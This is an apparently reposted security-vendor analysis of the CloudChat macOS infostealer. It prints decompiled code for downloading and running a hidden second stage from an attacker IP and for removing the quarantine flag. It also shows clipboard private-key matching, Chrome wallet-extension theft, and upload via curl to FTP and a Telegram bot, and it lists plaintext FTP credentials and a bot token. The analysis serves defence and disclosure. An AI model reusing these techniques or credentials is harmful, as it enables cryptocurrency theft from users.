CloudChat Infostealer: How It Works, What It Does |
您所在的位置:网站首页 › cloudchat id :lianran971011 › CloudChat Infostealer: How It Works, What It Does |
On April 3, 2024, we came across an undetected file that had been uploaded to the online virus-checker VirusTotal that day named Clip. Right off the bat, we noticed that the file had some red flags that warranted further investigation. Most notably, readable strings in the file referenced Chrome crypto wallet extensions. This is common in infostealers such as Amos, which look to steal wallets and other valuable information from infected victims. Another red flag: It referenced uploading a file via FTP to 45.77.179.89/upload/; legitimate applications don’t normally use FTP for file transfers. We were able to grab the file’s DMG— CloudChat.dmg—from VirusTotal. CloudChat’s website says it's a messaging platform that “provides you with a safe social life service...chat with friends around the world and share your unique and interesting perspectives...use pictures and videos to share your life in the circle of friends or the world...let the world applaud you without worrying about privacy being leaked.” CloudChat’s website has download links for different platform versions of its app. We downloaded the macOS version to compare it with the one we found on VirusTotal. The two files had matching sha256 hashes. The codesign information for the main CloudChat Mach-O file showed that it was signed ad-hoc and was compiled for x86_64. ![]() We mounted the DMG and transferred the CloudChat app bundle to our /Applications folder. When we launched that app, we observed the CloudChat binary running ps -ef, which appears to be looking for the file .Safari_V8_config; this check originates from the linked libCloudchat.dylib. 0024fb26 commandStruct, rsi, rdi = _os/exec.Command(1, 1, &_"-ef", &var_18, &_"ps", 2, arg3)0024fb2b char* commandOutput0024fb2b int64_t rdx0024fb2b int64_t rsi_10024fb2b int64_t* rdi_10024fb2b commandOutput, rdx, rsi_1, rdi_1 = _os/exec.(*Cmd).Output(rdi, rsi, commandStruct, arg3)0024fb33 if (rdi_1 == 0)0024fb48 void var_380024fb48 char* rax_20024fb48 int16_t* rdx_10024fb48 int128_t* rsi_20024fb48 rax_2, rdx_1, rsi_2 = _runtime.slicebytetostring(rdi_1, rsi_1, rdx, &nullptr->magic:2, &var_38, commandOutput, arg3)0024fb61 void* rax_3 // .Safari_V8_configre0024fb61 rax_3.b = _strings.Index(&nullptr->ncmds:1, rsi_2, rdx_1, ".Safari_V8_configre", rax_2, commandOutput, arg3) s>= 00024fb69 return rax_3The output of the ps -ef command is then parsed, using the strings.Index function, to look for the string .Safari_V8_configure. If that process is not running, the CloudChat binary will then also curl http://ip-api.com/json, to check the geolocation of the current host IP.
Inside the get.IPInfo function, we see the ip-api url passed as a string to the _net/http.(*Client).Get function. 0024fc00 rax_2, rcx, zmm15_1 = _net/http.(*Client).Get(rdi, rsi, rdx, 0x16, rax_1, "http://ip-api.com/json", arg3)0024fc77 var_48.q = *rax0024fc7c var_48:8.q = *(rax + 8)0024fc81 var_58.q = "http://ip-api.com/json”"0024fc86 var_58:8.q = rcx0024fca3 return var_48.q {"__TEXT"} Downloading and ExecutingIf the IP is not located in China, the app will download a file called clip from 45.77.179.89/static and rename it .Safari_V8_config. First, it will construct the download destination by calling the user.current function, extract the Home directory from the user structure, and concatenate the string .Safari_V8_config. 0024fa26 int128_t* userStruct = _os/user.Current(rdi_2, rsi_2, arg2)0024fa2e int64_t userHomeDir0024fa2e int64_t r10_10024fa2e if (arg1 == 0)0024fa37 userHomeDir = userStruct[4].q0024fa3b r10_1 = *(userStruct + 0x48)0024fa2e else0024fa30 r10_1 = 00024fa33 userHomeDir = 00024fa60 void* downloadPath0024fa60 int64_t rdx_10024fa60 void* rbx_10024fa60 int64_t rsi_30024fa60 downloadPath, rdx_1, rbx_1, rsi_3 = _runtime.concatstring3(&_/, 1, userHomeDir, r10_1, ".Safari_V8_config", 0x11, userHomeDir, arg2)This concatenated string path is then passed to the main.downloadFile() function, which will reach out to the IP address and download a file called Clip. If that download is successful, the binary is renamed .Safari_V8_config, to hide it. Its permissions are changed with os.chmod() function. The quarantine flag is also removed with xattr -d com.apple.quarantine. That done, the file is executed using the main.executeFileInBackground() function. 0024fa81 downloadResult = _main.downloadFile(rbx_1, rsi_3, rdx_1, downloadPath, "http://45.77.179.89/static/clip", 0x1f, arg2)0024fa89 if (downloadResult == 0)0024fa9a int64_t rsi_40024fa9a int64_t rdi_40024fa9a downloadResult, rsi_4, rdi_4 = _os.chmod(downloadPath, rbx_1, arg2)0024faa3 if (downloadResult == 0)0024faaf downloadResult = _main.executeFileInBackground(rdi_4, rsi_4, downloadPath, rbx_1, arg2)Execution of xattr and the downloaded file are both handled by the executeFileInBackground() function. 002501f9 var_38:8.q = 200250209 var_38.q = &data_250bc8 // -d0025020e var_28:8.q = 0x140025021e var_28.q = "com.apple.quarantine"00250228 var_18:8.q = arg400250232 var_18.q = downloadPath0025026b int64_t* xattrCommand = _os/exec.Command(0, 0, _os/exec.(*Cmd).Run(_os/exec.Command(3, 3, arg4, &var_38, "xattr", 5, arg5), arg5), nullptr, downloadPath, arg4, arg5) CommunicatingThe .Safari_V8_config Mach-O is a hidden file created in the Users directory. The file is actually the same as the original file Clip that we found on VirusTotal. It gathers the host and user information and uses a Telegram bot API token to send the hostname and its OS version along with a message that the machine is on. This is handled inside the main.executeOnce function. Using the main.getHostnameAndUsername function, it uses the concatstring4 function to prepare the message for communication via Telegram. 011007af hostname_1, username_1, rdx, rdi = _main.getHostnameAndUsername(arg4)011007f2 int128_t* rax_1011007f2 int64_t rdx_1011007f2 int64_t* rbx011007f2 int64_t rsi_1011007f2 int128_t zmm15011007f2 rax_1, rdx_1, rbx, rsi_1, zmm15 = _runtime.concatstring4(hostname_1, arg3, rdx, 0x10, &_-, 1, &Machine online:, username_1, rdi, arg4)To actually send a notification post to Telegram, it runs the fmt.Sprintf function to replace a template with the values captured from the target machine. 01101e80 rax_6, rdx_4, _"-c"_1 = _fmt.Sprintf(3, 3, rdx_3, &var_60, &curl -m %d -s -X POST -H.../api.telegram.org/bot%s/sendMessage\', 0x6e, arg7)01101e85 int128_t _"-c" = _"-c"_101101e8b int128_t _"-c"_2 = _"-c"_101101e91 _"-c":8.q = 201101ea1 _"-c".q = &_-c01101ea6 _"-c"_2:8.q = 0x6e01101eab _"-c"_2.q = rax_601101ecc int64_t rdx_501101ecc int64_t rsi_301101ecc rdx_5, rsi_3 = _os/exec.(*Cmd).Run(_os/exec.Command(2, 2, rdx_4, &_"-c", &sh, 2, arg7), arg7) Looking for Crypto KeysFrom here, .Safari_V8_config takes over and starts to use pbpaste to look for potential crypto private keys being copied to the clipboard. If it thinks it has found such a key, it will upload it to the same Telegram bot.
The main.isValidPrivateKey() function returns a Boolean value that communicates whether or not it observes a crypto private key matching some regex statements. 01101a98 int128_t* bitCoinPrivateKey = _regexp.MustCompile(&_^0x[0-9a-fA-F]{64}$, 0x13, arg3)01101aae int128_t* var_20 = _regexp.MustCompile(&_^[0-9a-fA-F]{64}$, 0x11, arg3)01101ac0 int128_t* rax_201101ac0 int128_t zmm1501101ac0 rax_2, zmm15 = _regexp.MustCompile(&_^[0-9a-zA-Z]{52}$, 0x11, arg3)This queries for three different private keys: Bitcoin Tron Ethereum Looking for Chrome Wallet PluginsAs we mentioned, the binary contains a list of popular Google Chrome crypto wallet extensions. If it determines you have one installed, it will copy the extension folder to a folder in the temp directory. This is handled by first creating a target to the Chrome directory inside the executeOnce function. 011008ec userHomeDir, rdx_3, rsi_3, rdi_3, userHome_1 = _os.Getenv(rdi_2, rsi_2, "HOME", 4, arg4)011008f1 int128_t userHome = userHome_1011008fa int128_t userHome_2 = userHome_101100903 userHome:8.q = 40110090b userHome.q = userHomeDir01100913 userHome_2:8.q = 0x2a01100926 userHome_2.q = "Library/Application Support/Google/Chrome/"01100940 int64_t ChromeTargetDir01100940 int64_t rdx_401100940 ChromeTargetDir, rdx_4 = _path/filepath.join(rdi_3, rsi_3, rdx_3, 2, &userHome, 2, arg4)Once it builds the path to the user’s Chrome directory, it passes this path to the copyAndCompressWalletPlugins function. The binary targets the profiles stored in ~/Library/Application Support/Google/Chrome/, looking for a match of the string “Default” and then targets the Extensions directory within. 01100c1a if (ProfileDir s>= 7)01100c22 // "Profile"01100c22 ProfileDir = "Profile")01100c1a else01100c1c rax_6 = 001100c35 if (rax_6 != 0)01100c37 rdx_2 = true01100c35 else01100c4f int32_t* rax_8 = (*(rcx_1 + 0x30))()01100c65 if (ProfileDir != 7 || (ProfileDir == 7 && *rax_8 != 'Defa') || (ProfileDir == 7 && *rax_8 == 'Defa' && rax_8[1].w != 'ul'))01100c70 rdx_2 = false01100c65 if (ProfileDir == 7 && *rax_8 == 'Defa' && rax_8[1].w == 'ul')01100c6b rdx_2 = *(rax_8 + 6) == 't'From there, it archives the files it finds with tar before using curl to upload that archive to an FTP server. This is handled inside the main.compressLogsdata function. First, it creates a path for tar: 01101330 tarPath, zmm15_1 = _fmt.Sprintf(2, 2, rdx, &var_30, &_/tmp/%s-%s.tar.gz, 0x11, arg7)0110133d int64_t var_a8 = 0x11Then it executes the tar command. return _os/exec.(*Cmd).Run(_os/exec.Command(5, 5, rdx_2, &tar Arg, "tar”)Once the collected files have been archived, a path to this archive file is passed to the uploadLogsdata function. This creates the curl command and uploads the archived plugins to an FTP server, and sends a notification to the Telegram chat. 01101702 char* const var_20 = &data_11071a0 // FTP://45.77.179.89/upload/0110172b void* rax_110110172b int64_t rdx_30110172b int128_t zmm15_20110172b rax_11, rdx_3, zmm15_2 = _os/exec.(*Cmd).Run(_os/exec.Command(6, 6, rdx_2, &_-T, "curl", 4, arg9), arg9)Using the sendTelegramNotification function, which leverages the Telegram APIs, the result message is created and sent to the Telegram chat 01101900 uploadString, rdx_4, rsi, zmm15_4 = _fmt.Sprintf(3, 3, rdx_6, &var_a0, "%s-%s, uploaded successfully for plugins: %s", 0x2c, arg9)01101911 int128_t zmm15_5 = _main.sendTelegramNotification(0xa, rsi, rdx_4, &_7029439043, uploadString, 0x2c, arg9, zmm15_4)We can see this communication by looking at executed processes. CloudChat Infostealer: The Exploit EvolvesWhen we first began analyzing CloudChat, .Safari_V8_config was the only file it downloaded. However, after a few days, a new version appeared, which downloaded another file, .applications_config, which is hidden in the same directory as .Safari_V8_config. The file .applications_config runs the command uname -s -r -m. This is used to grab the machine hardware name, OS system release, and OS system name.
We then observed curl uploading a hidden copy of the applications_config file that we had copied earlier from its original path to the desktop. The upload was directed at the domain bashuploads(.)com. Interestingly, the upload occurred twice, and the first time the URL was misspelled (bashuopload(.)com). This seemingly human typo could indicate some sort of hands-on keyboard functionality. The website bashupload(.).com states it is used to “upload files from command line to easily share between servers.” This is strange because the malware already had the infrastructure necessary to upload the wallet extension files. After observing this last activity, the server at 45.77.179.89, which had been used for uploads and downloads, stopped functioning. A quick nmap query showed that the server was down. When running the malware again, it would attempt to download the first stage but couldn’t, which stopped any further activity. The malware is still completely undetected on VirusTotal at the time of writing. CloudChat Infostealer: Digging DeeperLooking at the FTP command used to upload the wallet extension files, we noticed that the username “mars” and the password “LnW4BhIdjOsVZzK0” both appeared in plaintext. We were able to connect to the FTP server and establish that it was in passive mode. Either we were able to see only the single file uploaded from our machine, or the username and password are unique. SSH was also open on the server. The same username and password allowed us to connect briefly, before we were kicked off with a message stating that we were permitted to use FTP only. The Telegram bot API token is also interesting: With it, we could receive information about the bot, such as its name and the username “bwa1e3”. We also found, from the getChat command, a user named “Jennifer Walker” and their username “Jenniferaaa”. More than likely, this is a fake name being used by the real user receiving these bot messages. When we killed the CloudChat process, the .Safari_V8_config and .application_config processes continued to run. Relaunching CloudChat did not relaunch Safari_V8_config, probably due to the command ps -ef being run to check on running processes. Due to the nature of this malware, this is an ongoing analysis, and we will update this post with any additional relevant information that we uncover. CloudChat Infostealer: Indicators of Compromise Files (Sha256) Ef1c7d6651996a3dccee755630add52c3f04a6e474ad15a999e132cafbf83f18: Clip/.Safari_V8_config Db3ec2bb2a18289b67cd15598b1bcf80e5712c927c90f0d9c55c728a99789162: Clip/.Safari_V8_config F63dd41f2e7d24637b4aad89cdece0c011a3b8082a46f97642df85f9a28c72f6: .applications_config 463af62034c5a05ab3cf2eba09e36955328028b62ba9ee894cdd8e50e2d1af81: CloudChat.dmgURLs FTP://45.77.179.89/upload/ http://45.77.179.89/static/clipa http://45.77.179.89/static/application_config https://api.telegram.org/bot7069293498:AAGH47J19fkbGT-56jkgWtvMCYRZpQxePwE/sendMessage About KandjiKandji is the Apple device management and security platform that empowers secure and productive global work. With Kandji, Apple devices transform themselves into enterprise-ready endpoints, with all the right apps, settings, and security systems in place. Through advanced automation and thoughtful experiences, we’re bringing much-needed harmony to the way IT, InfoSec, and Apple device users work today and tomorrow. ![]() ![]() ![]() See Kandji in Action Experience Apple device management and security that actually gives you back your time. Get Started Contact Us See Kandji in Action Experience Apple device management and security that actually gives you back your time. Start Free Trial Contact Us |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |